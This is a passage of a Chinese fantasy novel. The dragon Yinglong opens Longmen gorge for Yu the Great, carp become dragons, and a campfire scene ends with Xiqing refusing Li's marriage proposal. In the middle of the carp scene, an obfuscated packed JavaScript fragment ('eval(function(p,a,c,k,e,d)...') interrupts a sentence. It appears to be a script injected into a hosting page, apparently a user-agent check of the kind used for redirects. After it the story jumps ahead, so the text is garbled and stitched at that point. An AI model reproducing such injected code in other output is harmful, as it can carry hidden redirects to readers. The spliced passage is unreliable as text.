“不敢隐瞒尊神,”禹如实相告,神情肃穆,“昨夜得炎帝神农氏托梦指引。炎帝言,尊神乃其恩师,昔日化名‘吉’,降世教导农耕医药之道,功德无量,泽被万代。炎帝亦言及尊神本性仁德,虽经杀伐,始终心系苍生,必不忍见万灵涂炭、天地失衡。特恳请尊神念及昔日情分,再履凡尘,助我了却此段因果,疏导天地郁结,亦求尊神内心之通达。” 听到“吉”这个遥远而熟悉的名字,应龙那亘古不变、如同日月般的龙目之中,竟泛起一丝极其细微、却真实存在的波澜,仿佛万年坚冰裂开一道细缝,流露出一丝追忆。它沉默良久,那沉默沉重得仿佛让周遭的时间与空间都为之凝固。 “神农……竟还记得那个名字。”应龙的声音似乎缓和了些许,少了几分神性的冰冷与疏离,多了一丝若有若无的慨叹与悠远,“他既提及往日师徒情分,又能洞悉吾之心结所在……罢了。” 巨大的龙躯缓缓自深不见底的墨湖中完全升起,真正显露其完整面貌,顿时遮天蔽日!驼首、鹿角、兔眼、牛耳、蛇项、蜃腹、鲤鳞、鹰爪、虎掌!威仪赫赫,神威如狱!磅礴浩瀚的龙气弥漫开来,令天地失色,万物静伏。 “吾便随汝走此一遭。”应龙的声音变得恢弘而决断,响彻天地,“并非全为汝,亦非为舜之命,而是为了故人所请,为了那片土地,也为了……彻底了却那段过往,寻一个答案。记住,开辟龙门,非比寻常,乃剧烈惊动地脉之举,其间风险巨大,汝需全力导引新生水道,顺应天地之势,好自为之。” “禹,谨记尊神教诲!永感大德!”禹深深一揖,心怀敬意与感激。 神光流转,缓缓收敛,那庞大如山岭的龙躯化作一道耀眼青光,旋即凝聚为人形——乃一魁伟中年男子模样,身着青黑色龙纹战甲,古朴非凡,面容刚毅古拙,一双金眸深邃如海,仿佛蕴藏着无尽星辰,不怒自威,只是眉宇间仍笼罩着一层挥之不去的沧桑与疲惫,仿佛承载了万古的孤寂与重量。 “走吧。”化为人形的应龙开口道,声音依旧低沉有力,不容置疑。他一步踏出,仿佛缩地成寸,瞬间已在数丈之外,身形飘逸而神速。禹与岳卫们不敢怠慢,连忙奋力跟上。 当禹携应龙化体归来之际,恰逢伯益、巫盼也成功请得酸与“翩”降临工地之时。 整个营地先是瞬间寂静,随即彻底沸腾!民夫与岳卫们看到司空安然返回,本就欣喜万分,再见到他身后那位虽化为人形、却依旧散发着无形威压、令人不敢直视的青甲金眸男子,以及天空中那优雅盘旋的、蛇身四翼的奇异巨兽,更是激动、敬畏、难以置信等情绪交织,纷纷不由自主地跪拜下去,高呼“司空万岁!”“尊神显灵!”之声此起彼伏,声震原野。 砺率领皋陶、弃、羲青等核心成员快步上前恭迎。他强压下心中的震撼与激动,依循古礼,恭敬参见:“恭迎司空归来!恭迎尊神驾临!” 禹对众人点头,简要介绍道:“这位便是应龙尊神,已允诺相助我等。这位是酸与翩,亦是前来助我等一臂之力的朋友。” 应龙化体只是微微颔首,目光如电,扫过繁忙而有序的工地和远处那巍峨如天堑的龙门山,金眸之中光芒流转,似已在瞬息之间完成评估与测算。 酸与翩在空中好奇地盘旋下降,四翼带起清凉舒适的气流。它看着下方热火朝天的景象:野牛奋力拖曳,野猪哼哧拱土,苍鹰往来飞翔,不由得发出悦耳而充满惊奇的鸣叫:“哇!这么多大家伙和小家伙在一起干活?真热闹!伯益,它们都是在帮你吗?” 伯益笑着用兽语亲切回应:“是的,翩。它们和你一样,都是来帮忙治水、拯救生灵的朋友。” “朋友?真好!”翩欢快地在空中翻了个跟头,它已经很久没有感受到这种无需隐藏自身、可以自由舒展的轻松了。更让它惊喜的是,应龙尊神的存在,其浩瀚龙气无形中进一步中和了它身上那令人不安的残余气息,让它感到一种前所未有的自由与畅快。 它降低高度,好奇地打量着那群正在拖曳巨石的野牛。头牛“巍角”感受到上空的气息,抬起头,发出一声低沉却友好的哞叫。 “它说欢迎你,来自远方的朋友。”伯益及时翻译道。 翩高兴地鸣叫回应:“你也好厉害!力气真大!” 它又轻盈地飞到一个工段上空,那里一群野猪正卖力地用鼻子和獠牙清理着碎石。“你们在玩什么?需要我帮忙吗?”一只体型壮硕的野猪哼哧哼哧地抬起头,小眼睛眨了眨,似乎觉得这大鸟很有趣。翩小心翼翼地用灵活的翅膀尖帮它推开一块稍大的石头,引得那野猪发出一阵愉快而满足的哼哼声。 “伯益!这里真好玩!”翩兴奋地绕着伯益飞旋,像个发现新大陆的孩子,“大家都在一起努力干活,没有人用恐惧的眼神看我,也没有坏事情发生!原来帮助别人是这样的感觉!” 看着翩那如同孩童般纯粹快乐的样子,伯益和巫盼相视一笑,心中倍感欣慰。 禹对应龙化体恭敬道:“尊神,前方便是龙门山,伊水积于其后。不知尊神需我等做何准备,或需如何配合尊神施为?” 应龙化体目光如电,再次凝视龙门山片刻,沉声道:“此山乃地脉之关键结节,坚厚异常,非寻常山石可比。吾需恢复真身,引动天地之力,全力施为。尔等需立刻退至十里之外,寻高地观望,切勿停留,以免被开辟之时的惊天余波所伤。待山开之后,水流奔涌之势将猛若雷霆,尔等需即刻引导民夫与兽群,按既定疏瀹方案,加固两岸,疏导水流,不可有丝毫延误与错漏。” “谨遵尊神之意!”禹毫不迟疑,立刻下令。砺、皋陶等人迅速行动,号角长鸣,岳卫们高效地组织起民夫和野兽队伍,携带重要工具物资,向着预先勘察好的安全高地快速撤离。过程虽显匆忙,却井然有序,丝毫不乱。 不多时,偌大的工地为之一空,只留下那巍峨沉默的龙门山和其下死寂如墓的广阔积水。 应龙化体向前踏出一步,周身神光骤然暴涨,身形急剧膨胀,瞬间现出那绵延如山岭、遮天蔽日的庞大龙躯!真正的、毫无保留的神威铺天盖地释放开来,天空顿时乌云密布,电蛇乱窜,狂风呼啸卷地,仿佛末日降临,又似天地重开。即使远在十里之外的安全高地上,人们仍能感到那令人灵魂战栗、想要顶礼膜拜的恐怖压迫感,纷纷屏息凝神,目光紧紧盯着远方那巨大的、如同亘古神迹般的龙影。 只见应龙盘旋升至极高之处,发出一声响彻寰宇、蕴含着无上威严与洪荒力量的龙吟!其声震荡天地,仿佛在向天地宣告。旋即,它猛然俯冲而下,并非以肉身直接撞击,而是将那足以撕裂苍穹、无坚不摧的龙爪,对准龙门山最为关键的脉络节点,汇聚万钧神力,狠狠挥下! 一道难以形容的、极度耀眼的、仿佛开天辟地之初的光芒爆发开来!随之而来的是震耳欲聋、超越凡人想象极限的、仿佛整个大陆板块都在哀嚎碎裂的恐怖巨响! “轰隆隆——!!!” 山崩地裂!巨石穿空,如同暴雨般砸落! 龙门山那仿佛亘古不变、浑然一体的完整山体,在应龙这汇聚了天地伟力的洪荒一击之下,如同被盘古巨斧劈开的混沌鸡子,从中硬生生裂开一道巨大的、狰狞的、横贯东西的缺口!积聚已久、怨气深重的伊水如同挣脱了亿万年沉重枷锁的洪荒巨兽,发出惊天动地的咆哮,化作一道浑浊无比、高达百丈的巨型水龙,从缺口处奔腾咆哮而出,直泻千里,势不可挡! 狂暴的水流疯狂冲击着新开的峡谷,激起漫天蔽日的白色水雾,轰鸣之声如万雷持续奔腾,气势磅礴浩瀚,震撼人心,仿佛天地重开! “成功了!龙门开了!龙门开了!”高地上,在经过一瞬死寂般的震惊后,爆发出震天动地的狂热欢呼声,民夫们激动得相拥而泣,岳卫们也难以自持,激动地挥舞着手臂兵器,宣泄着心中的狂喜与敬畏。 但禹和他的核心团队深知,这仅仅是成功的开始,真正的挑战紧随其后。 “快!按预定计划行动!疏瀹队立刻上前!加固队跟上!运石队准备!”砺声嘶力竭地大吼,声音甚至要压过下方奔腾咆哮的水声。 早已准备就绪的各支队伍立刻如臂使指般行动起来。民夫们喊着整齐划一、更加雄壮的号子,冒着被飞溅碎石和冰冷水沫击中的危险,奋勇冲向峡谷两侧,打桩的打桩,垒石的垒石,奋力加固着被猛烈水流疯狂冲刷的脆弱岸壁。 然而,就在此时,异变陡生! 新开的峡谷水道之中,原本死寂的积水最深处,伴随着奔腾而出的洪流,竟汹涌翻腾出大量浑浊粘稠、犹如活物的黑气,其中隐约可见无数扭曲痛苦、挣扎哀嚎的面孔,发出无声却直击灵魂的凄厉呐喊!那是积郁了不知多少岁月、融合了古战场戾气与溺亡者怨念的可怕怨灵,被应龙开山的惊天能量和奔涌的活水惊动、裹挟而出!阴冷、绝望、暴戾、疯狂的气息瞬间弥漫开来,冲在最前面的几个民夫顿时感到头晕目眩,恶心欲呕,手脚冰凉彻骨,心中莫名涌起狂暴之意,几乎要栽倒水中,甚至攻击同伴! “不好!是积郁千年的怨灵水煞!”巫盼脸色骤然一变,立刻举起玄圭碎片,口中急速念念有词,试图净化驱散,但那怨气实在太过浓烈庞杂,犹如实质,他的努力收效甚微。 应龙悬浮于高空,俯瞰着那些翻涌咆哮的怨气黑煞,熔金般的龙目之中闪过一丝复杂难明之色。它再次张开龙口,并非发动攻击,而是发出一阵低沉、悠远、仿佛来自太古洪荒、充满了安抚与引导力量的龙吟。这吟声不像之前开辟龙门时那般充满毁灭性,反而带着一种奇异的、母性般的抚慰与包容之力,如同温柔的手抚平受惊孩提的创伤。 与此同时,禹毫不犹豫,飞身跃至一处视野开阔的高地,举起手中那柄神农耒耜,将其深深插入脚下大地!他闭目凝神,全力运转体内所承的“司空”之力与对天下水脉的精深感知,敞开心灵,试图沟通、安抚、引导那些随洪水而出的、混乱而痛苦的怨念。 “安息吧……水流归海,魂灵归墟……此间水患将平,尔等之怨念,且随此水流散去吧……莫再滞留人间,徒增苦楚,亦苦自身……”禹的声音并不响亮,却奇异地伴随着奔腾的水流声和应龙那抚慰人心的古老吟唱,清晰地传入那些混乱狂暴的怨灵意识深处。 或许是应龙那源自上古的天然权威与神力起到了主导作用,或许是禹那毫无伪饰、悲天悯人的真诚疏导之意深深触动了它们,又或许是这奔腾不息、流向大海的活水本身带走了沉积千年的污秽与执念,那翻涌不休、浓稠如墨的黑气渐渐变得稀薄,那些扭曲痛苦的面孔慢慢平复、舒展,最终随着滔滔东去的洪流,逐渐消散、融化于水中,归于天地。 岸边的民夫们这才感觉那股阴冷窒息、诱人疯狂的可怕感觉如潮水般退去,大大松了一口气,擦去冷汗,更加卖力地投入加固岸堤的工作之中,心中对禹和应龙充满了感激。 而紧接着,另一个更为神奇、只存在于古老传说中的景象,随之出现! 在新开的龙门峡谷下方,因水流剧烈冲击形成了无数巨大的漩涡与湍急的暗流。只见远方伊水上游,乃至更广阔流域之中,成千上万条金鳞赤尾、体型硕大的鲤鱼,仿佛受到了某种不可抗拒的神秘召唤,逆着新生的、狂暴无比的激流,争先恐后地奋力向上游蹿跃!它们的目标,无比明确地指向那刚刚被劈开、尚且残留着应龙无上神力气息和禹疏导天地仁德之力的龙门缺口! “鲤鱼跳龙门!”见多识广的伯益率先惊呼出声,眼中充满了难以置信的惊叹与狂热。 只见那些金色鲤鱼如同赴死般争先恐后,一次次被狂暴的激流狠狠打回,砸落水面,又一次次顽强地、不惜鳞甲破损地奋力跃起,鱼尾疯狂击打水面,发出密集的噼啪声响,在昏暗天光下折射出璀璨夺目的金色光晕。每一次失败的跳跃,都让它们的鳞片色泽更加鲜亮耀眼,体型似乎也隐隐膨胀增大,生命力愈发旺盛。终于,有一条最为健硕雄壮、金鳞最为闪耀、犹如纯金锻造的鲤鱼,借助一个巨大的浪头,用尽全身力气,爆发出生命最璀璨的光华,猛地一跃,成功越过了那高高在上、神光缭绕的龙门缺口! 在它那矫健的身姿越过龙门缺口的一刹那,天地异变陡生!一道纯粹由天地灵机与造化伟力凝聚而成的光柱骤然灌注其身!它的身形在耀眼夺目的光芒中急剧变化、拉伸、升华!鱼鳞化作坚硬华美的龙鳞,鱼须化作飘逸威严的龙须,头顶鼓起,生出虽稚嫩却已具形态的龙角,腹下伸出寒光闪闪的利爪——竟于瞬息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云踪:身形最为流畅修长,速度极快,如同水中闪电,善于快速巡视水道,传递信息与警示。 墨琛:通体鳞色深黑近墨,沉稳敏锐,目光如电,能感知水底暗流与潜在的隐患塌方处。 赤须:龙须赤红如火,性情活泼好动,常主动游近岸边,协助民夫加固堤岸,或用龙尾扫清浅滩障碍。 酸与翩看着这神奇无比、堪称造化奇迹的一幕,四翼不禁兴奋地振动,发出啧啧称奇的鸣叫。它也不再耽搁玩耍,看准几块被狂暴水流冲垮、急需搬运加固的巨大山石,俯冲而下,四翼卷起狂风,利爪轻松抓住数千斤重的巨石,将其精准无比地投放到最需要的位置,其搬山之神力,令岸上的民夫们惊叹不已,大大加快了加固的速度与效率。 伯益驯服的野兽队伍也在各自的岗位上发挥着不可或缺的作用。野牛群在头牛“巍角”的率领下,喘着粗气,奋力拖曳着装满石块的沉重木筏,在泥泞中艰难前行;野猪群哼哧着,用鼻子和獠牙不懈地清理着较小的碎石和淤泥;苍鹰队则继续承担着高空侦查水道情况、快速传递消息、运输小件紧急物资的任务。它们与民夫们协同作业,配合越发默契:民夫们为牛群铺设垫脚的原木,为野猪驱赶可能的毒虫,彼此之间虽然语言不通,却在共同的劳动与目标中形成了独特的、和谐的氛围。有时年轻的民夫阿耒会好奇地摸摸“巍角”粗壮坚硬的犄角,而“巍角”则会温顺地低下头,发出友好的哞声;有时野猪会不小心拱翻了民夫放在一旁的水罐,引来一阵善意的哄笑和赶紧重新打来的清水,并无责备。 皋陶一如既往的严谨,巡视着这庞杂而喧嚣的工地,以其冷峻的目光和公正的裁决,确保着一切的秩序与效率。弃则全力保障着后勤,指挥人手将食物和饮水及时送到每一个忙碌的工段。羲青则全神贯注于手中星盘,密切监测着水势的起伏和地脉的稳定情况,不时向统筹全局的禹和负责执行的砺报告最新变化。 禹站在高处,目光如炬,统筹全局,心中感慨万千。视野所及,是上古龙神展现无上伟力,新生龙族踊跃助力,异兽搬山运石,百兽协力,万民奋战……一幅万灵共济、携手对抗天灾的宏大画卷在他的领导下缓缓铺开,一股难以言喻的感动与磅礴的力量充盈着他的心胸。 历经数日不眠不休的艰苦奋战,奔腾咆哮的水流终于渐渐趋于平稳,沿着新开的峡谷和初步加固的河道,变得相对驯服地向东流去,逐渐露出了大片被淹没已久、淤泥遍布的土地。伊水之困,至此初步得解。 浩大的工程暂告一段落,所有生灵都疲惫不堪,但脸上、眼中无不洋溢着难以抑制的喜悦与自豪。 酸与翩轻盈地飞落到伯益身边,发出了一阵带着明显不舍的清越鸣叫:“伯益,这里真好,我在这里感到前所未有的快活。但是……巫盼的巫术效果无法长久维持,应龙尊神看来也要离开了……我担心自己停留太久,那可怕的能力又会逐渐恢复,给大家带来意想不到的麻烦和灾难……我想……我还是该返回景山了。” 伯益眼中虽也流露出不舍,但他完全理解并尊重翩的选择:“翩,谢谢你!你的帮助至关重要,没有你的神力,加固工程绝不会如此迅速!你永远是我们最珍贵的朋友!景山是你的家园,永远欢迎你,也欢迎你日后随时再来做客。” 翩点了点头,然后按捺不住好奇地问道:“伯益,当时景山里明明有很多我的同族,它们或许力量比我更强,为什么你最后偏偏选择了我,向我提出请求呢?” 伯益露出温和的笑容,坦诚道:“因为当我说明来意后,其他的酸与都流露出警惕与抗拒,纷纷后退戒备,只有你,眼中的好奇之光最盛,不仅没有后退,反而小心翼翼地向前靠近了一小段距离。我知道,你内心深处是渴望看看山外的广阔世界,渴望与外界交流,渴望朋友,尽管你无比害怕会因自身的能力而带来不好的事情。” 翩的眼中瞬间流露出深深的感动与释然,原来如此!“原来是这样……谢谢你,伯益,谢谢你看到了真实的我,并且信任这样的我。记住哦,我的名字叫‘翩’!再会啦,朋友们!” 它不再犹豫,展开四翼,姿态欢快而潇洒地在空中盘旋了三周,向所有共同奋战过的伙伴们致以最后的告别,然后化作一道流光,向着西北方景山的方向疾飞而去,很快消失在天际云端。 此时,应龙也再次化为人形,落于地面。他对那群环绕周围、恭敬等候的新生龙族沉声道:“金鳞、苍鬃、云踪、墨琛、赤须,尔等既藉此天地机缘化身成龙,便当肩负起疏导水道、守护一方水土之责。自今日起,尔等龙族便追随司空姒禹,助其平定水土,造福天下苍生。非至关乎全局之险隘,吾不轻出。” 新生的群龙纷纷低下头颅,发出整齐而充满敬意的龙吟,表示领命与承诺,愿追随禹左右。 应龙最后将目光转向禹,道:“此间事了,因果已疏。吾去也。”话音未落,其身形已化作一道青色神光,冲天而起,于瞬息之间消失于九天之上,仿佛从未降临,只留下无尽的传说与敬畏。 龙门峡谷之前,浑浊的洪流虽未完全清澈,却已东去,显露出勃勃生机。夕阳的金辉温柔地洒落在疲惫却充满希望的人群和万灵身上,镀上一层温暖的光泽。 禹望着那东去的流水,语气沉静而坚定:“万灵开峡,仅是新始。前路漫漫,吾辈当时刻不忘使命,继续前行。” 夜幕低垂,星子渐明。广阔的营地中央,巨大的篝火熊熊燃烧,驱散了深秋的寒意,也照亮了一张张疲惫却洋溢着希望与喜悦的脸庞。空气中弥漫着烤肉的香气、粟米饭的温热蒸汽,以及劫后余生的欢庆与对明日工作的商讨声,这一切交织在一起,充满了蓬勃的生机与活力。 在一处相对安静的篝火旁,羲青蜷腿坐着,膝上铺着一片兽骨,手中的青铜小刀正迅速而专注地滑动。她要将今日这万灵共举、开凿龙门的旷世壮举记录下来——应龙的神威、新龙的诞生、酸与的神力、万民的奋战……每一个细节都弥足珍贵。 “记录今日之盛况?”一个沉稳的声音在一旁响起。砺走了过来,他身上还带着尘土与汗水的气息,但眼神明亮,在羲青身边自然地坐了下来。 “嗯。”羲青没有抬头,笔尖未停,声音却带着一丝不易察觉的柔和,“如此伟业,若不详实记载,后世何以想象今日之万一?龙门之险,非人力能破,然今日,人力、神力、兽力、龙力,竟汇聚一处,同心协力……这本身,就是最大的神迹。”她终于停下笔,抬头看向砺,火光在她清澈的眼眸中跳跃,“砺,你做得极好。调度万民,统筹百工,于那般混乱危急中竟能井然有序,令行禁止,使得尊神开山之后,疏导加固得以迅速进行……若非你之能,今日之功,至少要折损三成。” 如此直接而炽烈的肯定,让惯于冲锋陷阵的砺竟一时无措,他下意识抬手摸了摸鼻梁,视线移向火焰,声音低沉:“分内之事,何足挂齿。”他顿了顿,复又看向她,目光里是毫无保留的赞许,“倒是你,星盘运转,地脉勘测,毫厘不差,才是真正的定海神针。” 话至此处,他声音里沉积的万千重压仿佛终于被龙门奔涌的洪水冲开,流露出一种前所未有的、近乎轻盈的期盼:“看着洪水东去,天地豁然……我突然相信,司空所指的这条路,纵有万难,我们一定能走下去。这肆虐天下的洪水,终有彻底臣服的一日。” 他的话,叩响了她深埋的心弦。她自然听懂了那份共享的信念之下,更为汹涌的未言之意,与她曾经的誓言。 羲青轻轻放下那柄冰凉的青铜刀,微微侧过脸。火光为她素来清冷的面容镀上了一层柔软的光晕,她没有回避,而是极轻却无比清晰地应了一声:“嗯。” 她将膝上的兽骨稍稍挪开,动作间,那柄青铜小刀滑落在地。 两人几乎是同时俯身,指尖猝不及防地再次相触。一股暖流自相触的那一点蔓延开来,瞬间融化了所有刻意维持的距离。动作没有停顿,呼吸却交织在一起。 砺没有半分迟疑,翻掌便牢牢握住了她的手,那掌心因长期握持工具而粗糙温热,却带着不容置疑的力量与温柔。羲青指尖在他掌心微微一动,缓缓曲起手指,更紧密地回握了他,仿佛一种无声的确认与交付。 他抬起头,她亦抬眼。四周的欢呼、火焰的噼啪、流水的奔涌仿佛都在这一刻遥远模糊,万籁俱寂,唯有彼此眼中倒映的、比星河篝火更为炽亮滚烫的光彩,以及那清晰可闻的、逐渐同步的急促心跳。 砺顺着那交握的手,稍一用力,将她轻轻带向自己。羲青顺着他的力道起身,没有半分迟疑,迎向他。这个吻,不似第一次那般带着试探与突如其来的激动,而是更深沉、更缓慢、更带着一种确认与占有意味的缠绵。它汲取着开山裂石后的狂喜,交融着劫后余生的相依,释放着无数个日夜并肩凝视所积攒的所有压抑已久的情愫,如同两道终于汇合的洪流,汹涌而彻底。他臂膀坚实,环住她的肩背,仿佛要将她揉入自己的骨血;她手指微颤却坚定地攀上他宽阔的脊背,回应着这份不容置疑的渴望与坚定。 良久,两人的嘴唇才分开。砺的气息依旧灼热,额头轻抵着她的,目光如同最炽热的烙铁,紧紧锁住她氤氲着水汽的眼眸,声音因激动与渴望而沙哑不堪:“青儿……我等不了了……我想向司空禀明,娶你为妻!就在这龙门之下,让天地万灵为我们作证!你可愿嫁我?” 他不想再等待那虚无缥缈的“水患平靖”之日,此刻的成功与拥她入怀的真实感,让他只想立刻抓住这份幸福。 他的话,像一把重锤,瞬间敲碎了羲青沉溺其中的温情。她眼中的迷离水汽迅速褪去,取而代之的是一种冰冷的清醒。她缓缓地、却异常坚定地将手从他的掌心抽离。那份令人眷恋的温暖骤然离去,让砺炽热的心猛地一沉,如同从云端跌落。 “砺,”她的声音依旧带着亲吻后的微喘,语调却已恢复了平日的清冷,甚至更添了几分玉石般的决绝,“我之心意,你此刻应当明了。然婚嫁之事,恕我不能应允。” 砺脸上的炽热与期盼瞬间冻结,如同被最寒冷的冰水泼溅:“为何?是因我……” “非关你事。”羲青打断他,目光掠过他僵住的脸庞,投向远处黑暗中奔腾不息的龙门新河道,仿佛在看一道无法逾越的天堑,“治水大业,方才启程。九州山河,处处险隘。我既承父亲遗志,执掌星盘,勘测地脉,此身此心,皆系于这万里波涛、千仞山峦之上,岂能分心于家室之累?”她顿了顿,声音压得更低,透着一丝不易察觉的、源自深埋恐惧的微颤,“何况……你我若结为夫妇,生儿育女便是天理人伦,不可避免之事。可生育之事,犹如过鬼门关……我母亲……亦是因此而去。这一路,你我都见过太多女子因此凋零……我……实在畏惧。” 最后几个字,轻若蚊蚋,却重如千钧,砸在砺的心上。 砺一时语塞,心如乱麻。他方才只想着与她厮守,却未曾深思这必然的后果。子嗣是延续,亦是责任,更是女子必须面对的巨大风险,他无法承诺避免,更无法替她承担这份恐惧。 羲青见他沉默,目光重新变得冷澈而坚定:“即便抛开此事不谈,成婚之后,我难道能一边怀妊生产、哺育婴孩,一边随大军跋涉于沼泽洪峰之间?砺,当年鲧让你一定要守护好我,让我完成《水经》?如今虽已有雏形,但距离真正洞察天地水脉运行的至理,还遥不可及。父亲留下的这面星盘,”她指尖轻抚过膝上那冰冷神秘的器物,眼中闪过一丝迷茫与更深的执著,“它所揭示的奥秘,远不止于预示灾厄或靠近水脉时的微弱反应。我总觉得,它与那天河水泄的根源有着莫大关联,可我至今未能参透。何况,治水所经的万水千山里,不仅有山川脉络、人文掌故与治水举措需一一勘录,那些隐于深林的山海百灵、潜于川泽的奇禽异兽,还有部落口耳相传的上古传说,都该被好好记下 —— 它们藏着天地间的另一重真相,断不能随洪波湮没。在此之前,我无法,也不能,让任何事分散我的心神与力量。这是我的命途。” 她的话语,条理清晰,字字句句都源于沉重的责任、清醒的自我认知以及对现实的深刻恐惧,却像一盆彻骨的冰水,将砺从炽热的云端瞬间浇落,冻彻心扉,连血液都仿佛凝固了。他理解她的志向,敬重她的誓言,更心痛她的恐惧,可那份被断然拒绝、连同对未来美好憧憬一同被打碎的痛楚,依旧尖锐得让他几乎窒息。所有的狂喜、柔情、对厮守的渴望,在这一刻碎得无声无息,只剩下冰冷的空洞。 他看着她,嘴唇翕动,却最终什么声音也没能发出来。那双向来坚毅锐利、充满神采的眼眸,此刻光芒迅速熄灭,只剩下一片荒芜的、近乎麻木的痛苦和难以置信的冰冷。他踉跄着转身,几乎是逃离般地大步离开那堆曾见证了他们炽热亲吻与冰冷决裂的篝火,将那片曾属于他们的短暂温暖与喧嚣彻底抛在身后,头也不回地扎进营地的阴影里。 远处,龙门峡的涛声依旧轰鸣不绝,此刻听来,却不再像是贺曲,反而像是为他内心翻涌的苦楚、失落与冰冷奏响的、喧嚣而残酷的背景音。 他失魂落魄地走着,深一脚浅一脚,视线模糊,只觉得心头被巨石堵死,冰冷的痛感蔓延至四肢百骸,几乎让他无法呼吸。就在他神思恍惚,险些被脚下散落的绳索绊倒时,一个轻柔又带着急切关切的声音在一旁响起:“工正?您……您没事吧?” 砺猛地被惊醒,茫然地循声望去。篝火的余晖勉强勾勒出来人的轮廓——是那个总是安静跟在队伍后面、手指灵巧地编织着藤索的梁州女子,藤女。她正站在不远处的阴影里,手中还挽着一捆新编的、泛着青光的坚韧藤索,脸上写满了显而易见的担忧与紧张。她自加入平水土之师的第一天起,目光就常常不自觉地追随着这位沉稳如山、指挥若定又充满力量的工正。此刻见他脸色苍白如纸,眼神空洞,失魂落魄得几乎站立不稳,与平日那个坚毅果决、仿佛能扛起山岳的伟岸形象判若两人,一颗心不由得揪紧了。 她的声音轻柔,此刻听在砺的耳中却异常清晰,像一根细针,刺破了他浑浑噩噩的状态。他猛地回过神来,意识到自己的失态竟被旁人看去,尤其是被这样一个……他几乎从未多加留意的年轻女子看去。一股混杂着狼狈、羞惭与被看穿脆弱后的莫名烦躁瞬间涌上心头,反而暂时压过了那蚀骨的痛苦。 他几乎是本能地挺直了有些佝偻的脊背,强行绷紧面部肌肉,试图恢复往日那副冷硬沉稳的模样,尽管眼底的破碎与苍白的脸色根本无法掩饰。他挥开了她怯生生伸过来、似乎想要搀扶的手,动作有些僵硬甚至粗鲁,声音沙哑而低沉,带着一种拒人于千里之外的疏离:“无碍。只是……有些疲惫。” 他甚至没有多余的心力去思考这个解释是否合理,也不愿去解读藤女那双清澈眼眸中明显流露出的、超出寻常同僚的担忧与失落。他现在只想立刻逃离所有人的视线,躲回一个绝对安静、可以让他舔舐伤口的地方。 不再看她,砺几乎是仓促地、近乎逃离般地转过身,拖着依旧沉重而冰冷的步伐,踉跄着朝自己那顶孤零零立在营地边缘的帐篷走去。他甚至能感觉到身后那道担忧的目光一直追随着他,这让他背脊更加僵硬,步伐更快了几分。 终于,他一把掀开帐帘,闪身而入,随即猛地将帘子甩下,仿佛要将外面所有的光线、声音,以及那令人窒息的关切与他自己不堪重负的痛苦彻底隔绝在外。 帐内一片漆黑,寂静无声,只有他自己粗重而压抑的喘息。他背靠着冰冷的帐布,缓缓滑坐在地,终于卸下了所有强撑的力气,将脸深深埋入掌心。外面世界的喧嚣、龙门的水声、乃至脑海中羲青那双清冷决绝的眼眸……一切都被暂时阻挡在外。只有在这绝对的黑暗与孤寂里,那被强行压抑的、冰锥刺骨般的痛苦才敢彻底蔓延开来,无声地吞噬着他。 不远处,禹独自坐在一段粗大的枯木上,望着欢庆的人群,望着远处在夜色中更显雄浑的龙门缺口轮廓,脸上露出了许久未见的、真正松弛的神情。曾几何时,面对这亘古天险,他焦虑不堪,深感无力,甚至夜不能寐。而此刻,成功的狂喜过后,是一种深沉而踏实的如释重负,一股更加坚定的信心在他心中生长。他微微后仰,望向星空,脑中却不由自主地浮现出一个窈窕的身影——涂山女娇。治水以来,他几乎不敢分神去想她,此刻难得的松懈间隙,那份被刻意压抑的思念却悄然涌上心头。二十七岁的他,也是血肉之躯,渴望一份温暖的慰藉与牵挂。他轻轻摩挲着怀中女娇所赠的石埙,眼底流过一丝温柔。 另一边,伯益正兴奋地比划着,向围坐在一起的皋陶、弃等人描述酸与“翩”的奇妙与那群新生小龙的各异神态。弃笑着递给他一块烤得焦香的肉块,称赞着他沟通万灵的功劳。皋陶虽依旧表情严肃,却也在伯益讲到精彩处时,也忍不住微微一笑。巫盼则安静地坐在稍远处,擦拭着那枚玉璧,回味着与古老山灵沟通的玄妙瞬间。那些新生的龙族并未远离,它们有的潜在不远处的新生河道中,偶尔露出闪烁着微光的脊背;有的则好奇地盘踞在稍远的山崖上,俯视着篝火点点的人类营地,金色的龙瞳倒映着火光,充满了对这个世界的新奇。 万灵协作、共开龙门的壮举,已深深烙印在每一个亲历者的灵魂深处。而这篝火之夜的温暖、希望与悄然滋长的情谊,如同那磅礴力量之中最柔软而坚韧的纽带,将这支平水土之师更加紧密地凝聚在一起,预示着新的征程。 8. 第8章:涂山盟誓 舜摄政五年,禹治水第三年秋。秋风萧瑟,卷动着黄河岸边的枯草与尘土。龙门峡开凿成功的消息,却像燎原的野火般,顺着治水河工的吆喝、迁徙部族的渔猎号子,还有雁群南飞的羽翼,迅速传遍了天下。这消息给饱受水患之苦的万民带来了前所未有的希望,仿佛看到了一条巨龙终于被驯服了头颅。 然而,作为治水主帅的禹,却无法有丝毫的松懈。他率领平治水土的主力大军,依旧驻扎在黄河之滨,日夜不停地清理着龙门以下新辟的河道,加固着两岸的堤防。洪水的威胁,就如同这永不停息的季节轮回,一波刚平,一波又起,容不得半分大意。就在这紧张的时刻,来自东方的紧急军报接踵而至:淮水流域因连绵数月的秋雨暴雨,水势再度暴涨,下游涂山氏所居一带情势尤为危急,先前辛苦疏导的河道面临再次淤塞甚至彻底改道的巨大风险。 这一日,在弥漫着泥土与汗水气息的河工营帐内,气氛格外凝重。炭盆中的火焰跳跃着,映照着众人疲惫而忧虑的脸庞。皋陶,这位以睿智和公正著称的士师,在商议完应对淮水险情的方略后,将话题转向了一件看似私密,却关乎大局的事情。 他看向正凝视着地图上淮水区域的禹,声音沉稳而恳切:“司空,如今水患未平,诸事繁杂,我等皆知您一心为公,夙夜在勤。然,您年已三十,部族嗣续之事,亦当有所考量。这不仅关乎您个人,更可安部众之心,稳定联盟之基。”他略作停顿,见禹抬眼望来,便继续道,“涂山氏之女,女娇,我曾有所耳闻,贤淑明理,识得大体。更紧要者,若我华夏部族能与涂山氏联姻结盟,则可稳固东线,得其淮泗流域之助。涂山氏熟悉当地水情地理,若有他们倾力相助,对于我等平治淮水,乃至整个东南方之水患,实有百利而无一害。此乃公私两便之策,望司空慎思。” 